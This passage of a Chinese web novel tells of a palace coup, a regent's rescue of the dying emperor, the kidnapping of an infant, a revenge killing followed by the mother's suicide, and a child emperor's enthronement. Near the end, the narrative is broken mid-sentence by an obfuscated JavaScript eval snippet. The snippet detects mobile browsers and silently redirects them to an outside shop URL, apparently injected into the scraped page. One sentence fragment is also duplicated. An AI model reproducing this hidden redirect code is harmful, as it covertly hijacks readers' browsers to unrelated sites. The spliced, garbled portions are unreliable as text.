这一刻,皇帝心底最后那点侥幸终于彻底熄灭。 完了。 东宫......真的得逞了。 他几乎能想象到明日,不,或许就在今夜子时——太子便会顺理成章地发布皇帝急症驾崩,太子悲痛继位的诏书。 满朝文武或噤若寒蝉,或迅速改换门庭。 几个年幼的皇子,最好的结局是圈禁至死。而容璟即便赶回来,面对的也将是大局已定的新君,和逆党的罪名。 几十年年帝王,算尽人心,终究......算不过亲生儿子的狼子野心,和这命定的劫数。 他认命般闭上眼,等待那最终的穿透。 太子拔出深陷皇帝肋下的剑,鲜血顺着剑槽汩汩涌出。 他脸上再无疯狂,只剩一片冰冷的,近乎麻木的决绝。 剑尖重新抬起,对准了皇帝毫无防护的心口,这一剑,将彻底终结一切。 就在那淬着寒光的刃尖即将没入心脏的前一刹,嗖——的一声。 一支羽箭,裹挟着凌厉的破空之声,自殿外未被叛军完全控制的阴影处疾射而来!角度刁钻,时机精准得骇人! 箭矢的目标,并非皇帝,而是——太子握剑的右臂! “噗嗤!” 箭深深没入太子上臂,鲜血迸溅!剧痛让他发出一声惨嚎,刺向皇帝的力道和准头瞬间歪斜!剑尖擦着皇帝的肋骨划过,割裂龙袍,带出一溜血珠,却未能致命! 皇帝闷哼一声,捂着肋下伤口,踉跄后退,跌坐在榻边,鲜血迅速染红了他捂伤的手指和明黄衣袍。 太子又惊又怒,猛地回头看向箭矢来处,却只看到殿外廊柱后一道一闪即逝的玄色衣角,以及远处骤然加剧,朝着紫宸殿方向压来的震天喊杀声! 容璟! 这个名字如同惊雷,劈进太子混乱的脑海! 他来了?!他怎么可能这么快?! 巨大的恐慌瞬间攫住了太子。手臂的剧痛,皇帝的未死,容璟的突如其来......所有算计都在这一刻崩塌! 而就在他这失神的一刹那,殿外忠于皇帝的残存侍卫,以及刚刚赶到的,部分未被东宫完全控制的禁军,已呐喊着冲了进来,与殿内太子最后的亲卫厮杀在一起! 局面,在电光石火间,再次逆转! 就在他拔出短匕的刹那,宫墙之外,忽然传来了沉闷如雷,整齐划一的马蹄声!由远及近,如同潮水奔涌,瞬间压过了宫内的所有厮杀喧嚣! 紧接着,是震耳欲聋的呼喊,仿佛千军万马同时怒吼,带着摧枯拉朽的气势,席卷了整个皇城! “奉旨平叛!缴械不杀——!” 那是......容璟的声音! 皇帝猛地睁开眼,手中的短匕“当啷——”一声掉落在地。 宫门处,火光冲天。 容璟一袭玄色劲装,外罩轻甲,骑在一匹通体漆黑的骏马之上,手中长剑犹在滴血。 他面色沉静如水,唯有一双眼睛,在跳跃的火光映照下,亮得惊人,如同出鞘的利刃,扫过之处,叛军无不胆寒。 在他身后,是赵猛率领的五百精锐,以及沿途收拢的,原本忠于皇帝但被叛军分割包围的零散禁军。 人数虽不算极多,但胜在出其不意,且气势如虹。 更重要的是,容璟的出现,以及那一声奉旨平叛,如同定海神针,瞬间击溃了许多叛军本就摇摆不定的意志。 “容世子!是容世子回来了!” “陛下有旨!平叛!” 不知是谁先喊了出来,混乱的战场形势开始迅速逆转。 许多被裹挟或本就心怀犹豫的叛军,开始迟疑,后退,甚至倒戈。 东宫太子在亲卫的拼死护卫下,且战且退,退至紫宸殿前的广场。他看着如神兵天降的容璟,看着迅速溃散的己方人马,脸色惨白如纸,眼中充满了难以置信的惊骇与......彻底崩溃的绝望。 他的声音嘶哑破碎:“容潜玉......你......你怎么会......” 容璟缓缓上前,看着这位曾经温雅宽和,如今却形容癫狂的储君,目光平静无波,仿佛在看一个无关紧要的陌生人。 “殿下。” 他开口,声音不大,却清晰传入每个人耳中:“陛下尚在,您身为储君,却带兵逼宫,杀戮禁卫,伤及国公,此乃十恶不赦之罪。此刻放下兵器,向陛下请罪,或可......留个全尸。” “你闭嘴!” 太子猛地嘶吼起来,状若疯魔:“是你!都是你!是你设计害我!是你离间我们父子!容潜玉,你这个阴险小人!朕......朕是太子!是储君!父皇病重,朕是在肃清宫闱,铲除奸佞!你才是乱臣贼子!” 他已是语无伦次,彻底失态。 太子或许并不知道这一切确实是容璟的算计,但不妨碍此刻失败的他,把一切罪过安在容璟头上。 容璟不再与他废话,只轻轻抬手,吐出一个字:“杀。” 身后精锐轰然应诺,如狼似虎般扑向太子身边最后的抵抗力量。 厮杀惨烈却短暂。太子身边的心腹死士虽悍勇,但寡不敌众,很快被斩杀殆尽。 太子本人被数杆长枪逼住,颓然跌坐在地,玉冠滚落,发髻散乱,再不复往日储君威仪。 容璟不再看他,大步走向紫宸殿。 殿门已被撞开,殿内一片狼藉,弥漫着浓重的血腥味和药味。 皇帝瘫坐在龙榻边,衣衫凌乱,面如金纸,气息微弱,唯有那双眼睛,死死盯着走进来的容璟,里面翻涌着极其复杂难言的情绪。 有绝处逢生的狂喜,有被儿子背叛的彻骨冰寒,有对容璟及时赶到的惊疑与审视,更有一种大势已去的,深沉的疲惫与悲哀。 皇帝艰难地吐出两个字,伸出手:“潜玉......” 容璟快步上前,单膝跪地,握住皇帝冰冷颤抖的手,声音沉稳有力:“臣救驾来迟,让陛下受惊了!叛首太子已被拿下,宫城之乱片刻可平,请陛下安心!” 他的姿态恭敬,言辞恳切,无可挑剔。 皇帝看着他,看了很久,仿佛要透过这张年轻俊逸却深不可测的脸,看到他心底最深处。 良久,他才缓缓吁出一口气,仿佛用尽了所有力气,声音低得几乎听不见。 “好......好......潜玉,你......很好。朕......没看错你......” 话音未落,他猛地又是一阵剧烈咳嗽,身体剧烈抽搐起来,眼神开始涣散。 “御医!快传御医!” 容璟厉声喝道,语气中终于带上了一丝不易察觉的急促。 然而,一切都晚了。 皇帝被匆匆抬回殿时,已然昏迷不醒。数名御医轮番施救,用尽珍奇药材,也未能挽回那盏即将油尽灯枯的生命之火。 三日后,夜。 殿内烛火通明,药味与垂死的腐朽气息浓得化不开。 皇帝回光返照,竟短暂地清醒过来,屏退了所有内侍宫女,只留下容璟一人守在榻前。 这位曾经叱咤风云,多疑善谋的帝王,此刻瘦得只剩一把骨头,躺在明黄的锦被里,如同风干的标本。 只有那双深陷的眼睛,依旧亮得骇人,死死盯着坐在榻边的容璟。 “潜玉......” 他声音微弱,却异常清晰:“朕怕是大限将至了。” 容璟垂首,声音低沉:“陛下洪福齐天......” “不必说这些虚话。” 皇帝打断他,喘息着:“朕的时间......不多了。这江山......该交给谁?” 容璟沉默片刻,才缓缓道:“此乃陛下家事,臣不敢妄议。” “家事?” 皇帝惨笑一声,眼中闪过刻骨的悲凉与讥诮:“到了这个时候......还是家事吗?告诉朕......你的想法。” 容璟抬起头,迎上皇帝锐利如刀的目光,脸上没有什么表情,语气平静得像在陈述一件与己无关的事实。 “太子谋逆,已伏诛。其余几位皇子,九殿下臂伤后性情阴郁,十殿下文弱,且其母族乃北地崔氏,门生故吏遍布朝野,陛下应知,昔日睿王之祸,根源便在薛家外戚势大难制。若立十殿下,恐成第二个薛家,后患无穷。十一殿下昭珣,年幼纯孝,生母微贱,无外戚之患。且......陛下曾亲自教导,赞其仁厚。” 他没有说谁最适合,只是客观地,将每个皇子的优劣,尤其是外戚这个皇帝最深的忌讳,清晰地点了出来。 皇帝静静地听着,眼中神色变幻。良久,他才极轻地叹了口气,那叹息里充满了无尽的疲惫与认命。 “昭珣......是啊......他还小......心性未定......” 他喃喃着,目光落在容璟脸上,带着一种近乎诡异的平静:“潜玉,朕若立昭珣......你待如何?” 这话问得直白,也问得凶险。 容璟缓缓跪地,以额触地,声音斩钉截铁,不带一丝犹疑。 “臣,容璟,以容氏满门,以毕生功业,以陛下知遇之恩起誓,必当竭尽全力,辅佐新君,安定社稷,鞠躬尽瘁,死而后已。若违此誓,天诛地灭,人神共弃。” 字字铿锵,回荡在空旷寂静的寝殿内。 皇帝看着他伏地的背影,看了很久。那双锐利的眼睛,渐渐蒙上一层浑浊的泪光,不知是欣慰,还是更深沉的悲哀。 他知道,这是最好的选择,也是唯一的选择。 昭珣年幼,无外戚,需强臣辅佐。容璟有能力,有手段,且他终究有皇室血脉,无法真正篡位。 至于权臣摄政之患......皇帝疲惫地闭上眼。 他管不了那么多了。至少,比把江山交给另一个可能弑父杀弟的逆子,或者交给那些母族强势,可能引来外戚专权的皇子,要好得多。 “拟诏吧......” 皇帝的声音低不可闻,仿佛用尽了最后一丝力气: “太子李昭承,忤逆不孝,勾结逆党,逼宫弑父,罪无可赦......废为庶人,赐死。一干人等,斩立决! 立......十一皇子李昭珣......为皇太子。加封荣国公世子容璟......为太傅,青龙台总督,辅政大臣......总领朝政......” 容璟伏地的身躯,几不可察地微微一震。 “臣......领旨。谢陛下隆恩。”他的声音依旧平稳,叩首。 话音落下,皇帝仿佛被抽空了所有精力,猛地向后倒去,剧烈咳嗽起来,鲜血不断从口中涌出。 “陛下!”容璟与太监慌忙扶住。 皇帝死死抓住容璟的手臂,指甲几乎要掐进他的肉里,眼睛瞪得极大,里面充满了不甘,忧虑,以及最后一点清醒的警告。 “潜玉......十一......年幼......你......你需尽心......莫负......莫负朕......” 话未说完,他已再次咳血,意识逐渐模糊。 容璟握着他冰冷的手,看着他迅速衰败下去的生命气息,脸上依旧沉静,唯有一双眼睛,深如寒潭,映着跳动的烛火与窗外未熄的血光。 他知道皇帝未尽之言是什么。莫负朕望,也......莫生异心。 他缓缓低下头,声音平稳而清晰地应道:“臣,谨遵陛下旨意。必当竭尽全力,辅佐新君,鞠躬尽瘁,死而后已。” 皇帝似乎听到了,又似乎没听到。他极轻地,几不可闻地叹了口气,最后看了容璟一眼,那眼神复杂得如同纠缠了一生的梦魇,然后,缓缓闭上了眼睛。 而他留下的,是一个年仅十三岁,母族卑微的幼主,一个刚刚经历血洗,人心惶惶的朝廷,以及一个手握救驾大功,隐然已成为新朝第一权臣的——容璟。 残存的反抗者被一一肃清,禁军开始清理现场,收敛尸体,扑灭火势。幸存的宫人噤若寒蝉,在血泊中瑟瑟发抖地忙碌着。 容璟走出殿门,站在高高的汉白玉台阶上,俯瞰着这片被血色与火光浸染的宫城。 夜风吹起他染血的衣袂,猎猎作响。他脸上没什么表情,只有那双眼睛,在黎明前最深的黑暗中,亮得如同淬了寒冰的星辰。 一场惊心动魄的宫变,就此落下帷幕。 而一个属于幼主与权臣的新时代,才刚刚拉开它沉重而莫测的序幕。 盛京的滔天巨浪,尚未完全平息其血色余波。 而通往京畿的官道上,一辆外观朴素却异常坚固宽大的马车,正在数十名精悍护卫的簇拥下,不疾不徐地前行。 车内铺着厚实的毛毯,角落固定着小巧的暖炉,空气里弥漫着淡淡的奶香与药草气息。 姜于归靠在软枕上,怀里抱着裹得严严实实,睡得正香甜的婴孩。孩子眉眼长开了些,白白嫩嫩,偶尔在梦中咂巴一下小嘴,模样可爱得让人心头发软。 姜于归低头看着孩子,眼神复杂。这一路行来,她听到了太多关于盛京变天的骇人传闻。 宫闱喋血,父子相残,废太子,立幼主......每一桩都让她心惊肉跳。 而容璟的名字,在这些传闻中越来越清晰,越来越......令人不安。 他成了救驾的首功之臣,成了辅佐新帝的顾命重臣,成了这摇摇欲坠的王朝里,最耀眼也最莫测的新贵。 而她,带着他的孩子,正在前往那个刚刚经历血洗的权力中心。 前路是福是祸?她不知道。只是心头那点因平江数月相对平静生活而稍稍松弛的弦,再次紧紧绷了起来。 马车行了七八日,已进入京畿地界。这日傍晚,行至一处前不着村后不着店的僻静山林。长青下令在一处背风的山坳里扎营歇息,生火造饭。 暮色渐浓,山林寂静,唯有篝火噼啪作响,和远处偶尔传来的几声夜枭啼鸣。 姜于归抱着孩子,在秋实的搀扶下下车透气。深秋的山风已有刺骨寒意,她将孩子裹得更紧了些。 就在此时,异变陡生! 四周黑暗的密林中,骤然响起尖锐的呼哨声!紧接着,数十道黑影如同鬼魅般从树后,石后窜出,手持利刃,悄无声息却迅捷无比地扑向营地! “有埋伏!保护夫人和小公子!” 长青厉喝一声,早已拔剑在手,率众护卫迎敌! 这些黑衣人显然训练有素,出手狠辣,招招致命,且配合默契,绝非寻常山匪流寇。护卫虽勇,但猝不及防之下,一时竟被压制,陷入苦战! 姜于归被秋实和 姜于归被秋实和素馨死死护在中间,连连后退,背靠马车,脸色煞白,心跳如擂鼓。她紧紧抱着孩子,孩子被惊醒,哇哇大哭起来。 混乱中,一名黑衣人觑准空档,身形如电,绕过两名护卫的拦截,直扑姜于归!手中短刃寒光闪闪,竟是朝着她怀中的襁褓刺去! “不——!” 姜于归魂飞魄散,下意识地转身,用背部挡住那一击! 预期中的剧痛并未传来。 只听“铛——”一声金铁交鸣,另一柄长剑及时格开了短刃。是长青拼着背后挨了一刀,抢身过来救援! 然而,就在这电光火石的一刹那,另一道身影如同轻烟般掠过,目标明确——直取姜于归怀中的孩子! 那身影速度太快,手法太巧,在姜于归因惊吓而手臂微松的瞬间,五指如钩,已牢牢扣住了襁褓的边缘,猛地一拽! 姜于归只觉得怀中一空,孩子已被那人夺了过去! “孩子——!我的孩子——!” 她发出凄厉到不似人声的尖叫,疯了一般扑上去想要夺回。却被那人轻巧避开,顺手一掌拍在她肩头。 姜于归踉跄倒退,被秋实死死抱住。 夺走孩子的那人并未恋战,身形一闪,已退入黑暗之中。 其他黑衣人见目的达成,也不再纠缠,呼哨一声,迅速撤入山林,消失得无影无踪。 从袭击开始到结束,不过短短半炷香时间。营地一片狼藉,数名护卫受伤,篝火将熄,只余下浓重的血腥味和姜于归绝望崩溃的哭喊声,在寂静的山林中回荡。 长青捂着流血的肩背,脸色铁青,眼中几乎要喷出火来。 他看着姜于归瘫软在地,失魂落魄的模样,又望着黑衣人消失的方向,死死咬紧了牙关。 姜于归死死盯着孩子被夺走的方向,眼神空洞,浑身颤抖,嘴唇翕动着,却发不出任何声音。 孩子......她的孩子......被抢走了...... 那个她曾经抗拒,后来无奈接受,再后来......在日复一日的喂养和陪伴中,悄然生出血脉相连的牵绊的小生命......被抢走了! 巨大的恐惧和绝望如同冰水,瞬间淹没了她。世界仿佛在眼前崩塌,旋转,最终化为一片无边无际的黑暗。 她眼前一黑,软软地晕倒在秋实怀里。 容璟很忙,皇帝驾崩后的入殓停灵,拟定谥号,他的父亲荣国公的丧仪安排,以及新君登基大典的一应仪程,年号拟定...... 这些千头万绪,关乎新旧鼎革与朝局安稳的紧要事体,梳理出初步章程后的第三日,才接到长青飞鸽传书的急报。 信上字迹潦草,带着血污,只有寥寥数语:“夫人与小公子途中遇袭,小公子被劫,夫人受惊病倒。疑为郡主所为。” 容璟捏着那张薄薄的,染血的纸,站在新帝临时居住的偏殿外,廊下的风很大,吹得他玄色朝服的衣袂狂舞,如同展翅欲飞的夜枭。 他脸上没有任何表情。没有震惊,没有愤怒,甚至连眼神都没有丝毫波动。 只是那张纸,在他指间,被一点点,缓慢而用力地,揉成了一团,紧拽在掌心,直到骨节发出轻微的,令人牙酸的脆响。 然后他转身,对着身后垂手侍立的长风,声音平静得没有一丝波澜,却冷得如同数九寒冰,每一个字都像是从冰层下凿出来的。 “备马。去郡主府。” 安宁郡主府,院门紧闭,府内护卫比平日多了数倍,且皆是陌生面孔,眼神冷厉,气息沉凝,显然不是普通家丁。 正房内,灯火通明。 安宁郡主穿着一身鲜艳的绛红色宫装,梳着高髻,簪着全套赤金红宝头面,妆容精致,美艳逼人。 她坐在铺着厚厚狐裘的暖榻上,怀里抱着一个杏黄色的襁褓,正低着头,用指尖轻轻逗弄着里面熟睡的婴儿,唇角噙着一丝冰冷而满意的笑意。 那孩子睡得香甜,全然不知自己已离开了母亲的怀抱,落入了一个何等危险的人物手中。 “瞧瞧这小模样......这鼻子,这嘴巴,倒真是像极了潜玉小时候。” 郡主的声音轻柔,却带着一种令人毛骨悚然的亲昵:“只可惜......投错了胎,生错了娘。” 她抬起头,看向侍立在一旁,脸色惨白,浑身发抖的乳母和丫鬟,笑容愈发美艳,也愈发森寒。 “好生伺候着。这可是咱们荣国公府未来的世子,金贵得很。若是有半点闪失......你们知道后果。” 乳母和丫鬟噗通跪倒在地,连连磕头,却吓得一句话也说不出来。 就在这时,院外忽然传来一阵急促的脚步声,夹杂着护卫的呵斥与兵刃出鞘的铿锵之声! 但那些声音很快被压制下去,取而代之的是一种令人窒息的,沉重的寂静。 房门被“砰——”地一声,从外面猛地推开! 容璟站在门口。他依旧穿着那身玄色朝服,肩头沾染着未化的夜霜,发丝被风吹得微乱。 他没有带任何随从,独自一人,缓缓走了进来。 屋内的烛火似乎因为他带来的寒气而晃动了一下。 他的目光,先是落在郡主怀中的襁褓上,停留了一瞬,确认孩子无恙。然后,缓缓上移,落在郡主那张美艳却写满疯狂与得意的脸上。 母子二人,隔着一室温暖的灯火与冰冷的杀意,静静对视。 郡主脸上的笑容未减,甚至更加灿烂了些。她轻轻拍着怀中的孩子,仿佛在炫耀最珍贵的战利品。 “潜玉来了?这么晚,可是刚从宫里出来?你这新任的辅政大臣,可真是忙得很呐。” 她的语气轻柔,带着浓浓的讽刺。 容璟没有回应她的话。他只是迈步,一步一步,朝着暖榻走去。靴底踏在光洁的金砖上,发出清晰而沉稳的声响,在这死寂的房间里,如同敲在人的心鼓上。 护卫想要上前阻拦,却被容璟一个冰冷如刀的眼神扫过,竟僵在原地,不敢动弹。 他在暖榻前停下,距离郡主不过三步之遥。目光再次落在孩子熟睡的小脸上,然后,重新看向郡主。 “母亲。” 他开口,声音平静,甚至带着一丝奇异的温和,仿佛真的只是在与母亲闲话家常:“把孩子还给我。” 郡主嗤笑一声:“还给你?凭什么?这是我荣国公府的孙儿,是未来的世子!你如今权势滔天,眼里可还有我这个母亲?可还有容家?你这般忙碌,不如把孩子留在我身边,我自会好好抚养他长大,教他如何光耀门楣,如何......成为真正的容家之主。” 她顿了顿,眼神陡然变得锐利而怨毒,如同淬了毒的针,直刺容璟。 “还是说......你怕了?怕我有了这个孩子,就能拿捏住你,容潜玉,别忘了,你能有今天,是谁生的你!” 容璟静静地听着,脸上依旧没什么表情。直到她说完了,他才极轻地,几不可闻地叹了口气。 那叹息里,没有愤怒,没有悲伤,只有一种深不见底的疲惫,与......终于下定某种决心的冰冷。 “母亲。” 他再次唤道,声音依旧平和:“您知道吗?我有时候会想,如果当年,死的是我,而不是那只猫......您会不会,有一点点难过?” 郡主脸上的笑容骤然凝固。 那是容璟七八岁时的事。他养了一只很普通的白猫,郡主厌恶,趁他不在,命人将猫溺死在水池里。 容璟回来找不到猫,哭闹着去问,郡主只轻描淡写地说:“一只畜牲罢了,也值得你如此?掉了的眼泪,还不如拿去练字,还能得你父亲一句夸。” 那是容璟第一次清晰地意识到,他在母亲心中,或许真的不如一只猫。 此刻被他骤然提起,郡主心头猛地一悸,一股寒意莫名窜起。 容璟却不再看她,目光转向她怀中的襁褓,声音低了下去,带着一种近乎温柔的残忍。 “您看,您从未爱过我。您也不爱父亲,不爱容家,您只爱自己,只爱掌控,爱那种将一切踩在脚下,随意摆布的快意。” 他缓缓抬起手,却不是去夺孩子,而是指向郡主身后,那面巨大的,光可鉴人的青铜镜。 “所以,您夺走我的孩子,不是因为您爱他,想抚养他。您只是......不能容忍有任何脱离您掌控的东西存在。不能容忍我脱离您的掌控,不能容忍这个孩子,成为我新的,更重要的牵绊。” 他的指尖,轻轻划过冰冷的空气,仿佛在描摹镜中那个美艳而扭曲的身影。 “您想用他控制我,可惜母亲,您忘了。” 容璟终于转回视线,重新看向郡主,那双眼睛幽深得如同吞噬一切光亮的黑洞,里面翻涌着一种近乎悲悯的,冰冷的了然。 “我和您......是同一类人。我们都不懂得如何去爱一个人。我们只懂得......如何去占有,去掌控,或者......去毁灭。” 他顿了顿,每一个字都清晰无比,砸在郡主骤然收缩的心房上。 “所以,您觉得,用我在意的人来威胁我,会有什么用呢?” 郡主抱着孩子的手,开始不受控制地颤抖起来。她瞪着容璟,瞳孔放大,里面充满了难以置信的惊骇,以及一种逐渐弥漫开来的,深切的恐惧。 她忽然明白了容璟的意思。 他不是来哀求的,不是来谈判的。 他是来......报复的。用她最恐惧,最无法承受的方式。 “你......你想做什么?” 她的声音开始发颤,下意识地将孩子抱得更紧,仿佛那是最后的护身符。 容璟没有回答。他只是微微侧头,对着门外,极轻地唤了一声。 “带进来。” 房门再次被推开。两名黑衣侍卫,押着一个被反绑双手,堵住嘴的年轻男子走了进来。 那男子约莫十八九岁,面容俊秀,眉眼间......竟与郡主有五六分相似!只是此刻满脸惊恐,涕泪横流,呜呜地挣扎着,看向郡主的眼神充满了哀求。 郡主的呼吸,在看清那男子面容的瞬间,彻底停滞了! 那是......那是她在府外别院偷偷养下的孩子!也是她唯一真正倾注过些许温情的人! 他怎么会......怎么会被容璟找到?!还带到了这里?! “不......不......” 郡主猛地摇头,怀中的孩子几乎要抱不住,她踉跄着后退,撞在身后的多宝阁上,珍玩玉器哗啦啦碎了一地。 容璟的目光,冷漠地扫过那个惊恐万状的年轻男子,又落回郡主惨白如纸,写满绝望的脸上。 “母亲。” 他声音依旧平静,甚至带着一丝奇异的轻柔,仿佛在诉说一件再平常不过的事:“您夺走了我的孩子,让我尝尝失去所爱是什么滋味。” 他顿了顿,唇角极其缓慢地,弯起一个冰冷到极致的弧度。 “现在,我也让您......尝尝。” 话音落下的瞬间,他轻轻一挥手。 一名侍卫拔刀,雪亮的刀光在烛火下划过一道冰冷的弧线,毫不留情地,刺入了那年轻男子的心口! 干脆,利落,没有半分犹豫。 年轻男子猛地睁大了眼睛,喉咙里发出“嗬嗬”的怪响,不可置信地低头看了看穿透胸口的刀锋,又艰难地抬起眼,最后望了郡主一眼,那眼神里充满了不解,痛苦,与深深的眷恋......然后,头一歪,断了气。 鲜血汩汩涌出,迅速染红了他月白色的长衫,在地面上蔓延开一片刺目的猩红。 时间,仿佛在这一刻彻底凝固了。 郡主呆呆地看着倒在地上,迅速失去温度的尸体,看着那片不断扩大的血泊,看着那张与她相似,此刻却写满死寂的脸...... 她张大了嘴,却发不出任何声音。只有瞳孔剧烈地收缩,扩散,再收缩,里面所有的疯狂,得意,怨毒,都如同被狂风卷走的灰烬,迅速消散,只剩下无边无际的,空洞的黑暗。 怀中的孩子似乎被这浓重的血腥气和死亡气息惊扰,不安地扭动了一下,发出细弱的哭声。 这哭声像一根针,猛地刺破了郡主凝固的神经。 “啊——!!!!!” 一声凄厉到不似人声的,充满了极致痛苦与崩溃的尖叫,从她喉咙深处爆发出来!她猛地松开了手,怀中的襁褓直直朝地面坠落! 容璟身形如电,抢步上前,稳稳接住了孩子,抱在怀中。 郡主却看也不看孩子,只是死死地盯着地上那具尸体,踉跄着扑过去,双手颤抖着想要去触碰那张冰冷的脸,却在即将碰到的瞬间,又如同被烫到般猛地缩回。 她跪在血泊里,浑身剧烈地颤抖,头发散乱,钗环歪斜,精美的宫装被血污浸染,脸上精致的妆容被涕泪冲刷得一片狼藉。 她一会儿哭,一会儿笑,眼神涣散,语无伦次地嘶喊着。 “死了......他死了......我的儿......我的儿......不!不!容璟!你这个畜生!你怎么敢!你怎么敢!” 她猛地抬起头,看向抱着孩子,面无表情站在一旁的容璟,眼中爆发出刻骨的,燃烧生命般的恨意,伸出沾满鲜血的手,指着容璟,声音嘶哑如同恶鬼的诅咒。 “容潜玉!你听着!你今日杀我亲子,他日必遭报应!你所爱之人,所在乎的一切,都会以最痛苦的方式离你而去!你会众叛亲离,你会孤独终老,你会不得好死——!!就像我一样!就像我一样——!!哈哈哈哈哈哈......” 疯狂的笑声与诅咒,在充满血腥气的房间里回荡,令人毛骨悚然。 容璟只是静静地站着,抱着怀中因受惊而哭泣的孩子,轻轻拍哄着,目光漠然地看着状若疯魔的母亲,脸上没有丝毫动容。 仿佛她诅咒的,是一个与他毫无关系的陌生人。 良久,郡主的笑声渐渐低了下去,变成了嗬嗬的抽气声。她眼中的光芒彻底熄灭了,只剩下死灰一片的空洞与绝望。 她缓缓低下头,看着自己沾满亲生儿子鲜血的双手,又看了看地上那具逐渐冰冷的尸体,忽然,极其古怪地,温柔地笑了一下。 然后,她猛地起身,用尽全身力气,一头撞向了旁边坚硬的紫檀木桌角! “砰——!” 沉闷的撞击声。 鲜血,从她光洁的额头上汩汩涌出,迅速模糊了她美艳却狰狞的面容。 她的身体软软地滑倒在地,倒在血泊里,倒在那个私生子的尸体旁边,眼睛瞪得大大的,望着虚空,嘴角却依旧残留着那抹古怪而温柔的弧度。 仿佛终于,彻底解脱。 屋内的烛火,噼啪爆出一个灯花,光线暗了一瞬,又恢复明亮。 容璟抱着终于安静下来的孩子,最后看了一眼地上两具渐渐冰冷的尸体,然后,转身,走出了这间充满血腥与疯狂的房间。 门外,夜风凛冽,繁星满天。 他将孩子交给匆匆赶来的,脸色苍白的乳母,低声吩咐:“带下去,好生照料。请大夫来看看,莫要受了惊吓。” 然后,他独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148213|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人,走到廊下,仰头望着漆黑的天幕。 长风送来,带着深秋彻骨的寒意,卷起他玄色的衣袍,猎猎作响。 他的脸上,依旧没有什么表情。只是那双眼睛,在星光的映照下,深不见底,仿佛盛满了这世间所有的寒冷与孤独。 母亲死了。 以最惨烈,最疯狂的方式,死在了他的面前。 可心头那片荒芜的冰原,并未因此生出一丝暖意或轻松,反而......更加空旷,更加死寂。 他得到了至高无上的权柄,辅佐幼帝,位极人臣。 他也夺回了自己的孩子。 可有些东西,从他出生那一刻起,或许就已经永远地失去了。再也找不回来。 就像母亲临死前那疯狂的诅咒,或许......早已刻进了他的命运里。 容璟极轻地,几不可闻地笑了一声。那笑声短促,冰冷,没有任何温度,很快消散在呼啸的夜风里。 然后,他低下头,整理了一下微乱的衣襟,迈开脚步,朝着皇宫的方向,稳步走去。 那里,还有很多事情等着他处理,一个懵懂年幼的新帝,和一个百废待兴,暗流汹涌的朝廷,在等待着他。 他的路,还很长。 而这条路上,注定......只有他一个人。 姜于归在一天后苏醒,已经身处汀兰水榭。 肋下的疼痛,口中药物的苦涩,以及记忆最后那撕心裂肺的恐惧,让她在睁眼的瞬间便弹坐起来,嘶声喊出:“澈儿——!” “在这里。” 低沉平稳的声音在身侧响起。 姜于归猛地转头,看见容璟坐在床边不远处,怀中正抱着安静熟睡的容澈。 一大一小,在昏暗的烛光里,竟显出几分突兀又诡异的安宁。 她呆住了,眼睛死死盯着孩子,确认那小小的胸膛在规律起伏,泪水才后知后觉地汹涌而出。她想冲过去抱回孩子,身体却软得没有一丝力气。 容璟起身,将孩子轻轻放在她枕边。柔软的襁褓触碰到她的手臂,温热的体温透过布料传来,是真实的,活着的。 她颤抖着手,将孩子紧紧搂进怀里,仿佛要将他揉进骨血,眼泪无声地滂沱。 失而复得的巨大冲击,与濒临失去的极致恐惧,让她所有的坚强与伪装在这一刻土崩瓦解。 她像个迷路的孩子,抱着唯一的浮木,在绝望的海洋里瑟瑟发抖。 容璟静静地站在床边,看着她崩溃的哭泣,没有安慰,也没有离开。 直到她哭声渐歇,只剩下压抑的抽噎,他才缓缓开口,声音是前所未有的低哑,甚至带着一丝几不可察的疲惫。 “没事了,以后,不会再有人能伤害你们。” 姜于归抬起头,泪眼朦胧中,看见他玄色衣袍上未干的血迹,看见他眼底浓重的青影与深不见底的幽暗。 这个男人,刚刚从尸山血海的宫变中走出,又为她与孩子,掀起另一场血腥的风暴。 恨吗?依旧。 可更多的,是一种冰冷的,近乎认命的认知。 在这吃人的世道,在这巨大的权力漩涡边,唯有眼前这个她曾深恨的男人,拥有足够的力量和......意愿,为她与孩子撑起一方血腥却安全的角落。 依赖,如同藤蔓,在恐惧与脆弱的土壤里,悄然滋生,缠绕上她早已千疮百孔的心。 她闭上眼,将脸埋进孩子带着奶香的襁褓里,极轻地,几不可闻地,应了一声:“嗯。” 容璟看着这一幕,烛火在他深不见底的眸中跳跃。 他得到了他想要的。她的恐惧,她的依赖,她与孩子,都将牢牢系于他身侧。 盛京的雪,是在新帝登基大典那日清晨,悄然落下的。 细密如盐,簌簌地覆盖了宫道上尚未完全洗净的暗红痕迹,也覆盖了那些惊心动魄的夜晚所遗留的,过于尖锐的血腥气。 朱墙碧瓦,玉阶金銮,在一片素白中显得格外庄严肃穆,仿佛一切动荡从未发生。 十三岁的李昭珣穿着那身量身改制,仍显宽大的明黄龙袍,在文武百官的屏息注视与悠长钟鼓声中,一步步走向至高无上的御座。 他的脚步有些虚浮,背脊却挺得笔直。稚嫩的脸上竭力维持着镇定,唯有微微颤抖的指尖和过于用力抿紧的嘴唇,泄露了少年天子的惶恐与无措。 御座旁,设了一席。 容璟身着玄色绣金蟠龙朝服,腰佩玉带,头戴七梁冠,神色沉静地立于席侧。 他并未坐下,只是在新帝踏上最后一级玉阶,身形几不可察地晃了一下时,上前半步,虚虚扶了一把。 动作自然,姿态恭谨,是臣子对君王的扶持。 可满殿文武,谁都能读出那平静表面下,无声传递的绝对力量。 是扶持,亦是掌控。 新帝坐稳龙椅,接受山呼万岁。目光掠过殿下黑压压的人头,最终,下意识地,落在那道玄色身影上。 容璟微微垂眸,几不可察地颔首。 李昭珣紧绷的肩线,几不可察地松了一丝。仿佛溺水之人,终于抓住了唯一的浮木。 汀兰水榭的梅花开了。疏疏落落几枝,探过冰裂纹的窗格,将淡淡的冷香送进暖融的室内。 姜于归的身体在精心将养下,渐渐恢复。 容璟极忙。 